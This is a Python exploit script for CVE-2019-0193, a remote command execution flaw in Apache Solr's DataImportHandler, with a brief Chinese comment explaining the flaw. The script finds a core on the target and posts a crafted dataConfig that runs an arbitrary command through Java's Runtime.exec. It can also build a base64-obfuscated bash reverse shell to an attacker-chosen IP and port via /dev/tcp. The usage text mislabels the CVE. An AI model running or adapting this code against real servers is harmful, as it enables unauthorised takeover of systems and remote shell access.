'''
cve-2019-0193
writen by ophxc
漏洞成因：Apache Solr如果启用了DataImportHandler模块，因为它支持使用web请求来指定配置信息"DIH配置" ，攻击者可构造HTTP请求指定dataConfig参数的值(dataConfig内容)，dataConfig内容完全可控(多种利用方式)，后端处理的过程中，可导致命令执行。
'''
import requests
import argparse
import json
import re
import base64
parser=argparse.ArgumentParser(description="usage of CVE-9-3396")
parser.add_argument("-u","--url",help="the target url",required=True)
parser.add_argument("-c","--command",help="the command you want to excute")
args=parser.parse_args()

url=args.url
cmd = args.command

url1="http://"+url+"/solr/admin/cores"
res1=requests.get(url=url1)
cores=json.loads(res1.text)
core=cores['status']
#print(str(core))
core=re.findall('\{(.*?):',str(core))
flag=0
for key in core:
    if flag==1:
        break
    flag+=1
    core=str(key).replace("'","")
print("the core is : "+core)
print("now exploiting.")

url2="http://"+url+"/solr/"+core+"/dataimport"

if cmd == None:
    flag = input("do you want to get a shell?(y/n)")
    if flag == "y":
        ip = input("please give me the ip : ")
        port = input("please give the port : ")
        place = ip + "/" + port
        cmd = "bash -c {echo," + str(base64.b64encode(("/bin/bash -i >& /dev/tcp/" + place + " 0>&1").encode('utf-8'))).replace('b\'',"").replace('\'',"").replace('+', '%2b') + "}|{base64,-d}|{bash,-i}"
        print(cmd)
        print("the shell is reverse.")
    else:
        exit("exit")
data='''command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("'''+cmd+'''");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>'''

headers={
    'Host' : url,
    'Content-type': 'application/x-www-form-urlencoded',
    'X-Requested-With': 'XMLHttpRequest'
}

proxy = {
    'http': '127.0.0.1:8080'
}

res2=requests.post(url=url2,data=data,headers=headers,proxies=proxy)
print("the command is excute success and it has no response")
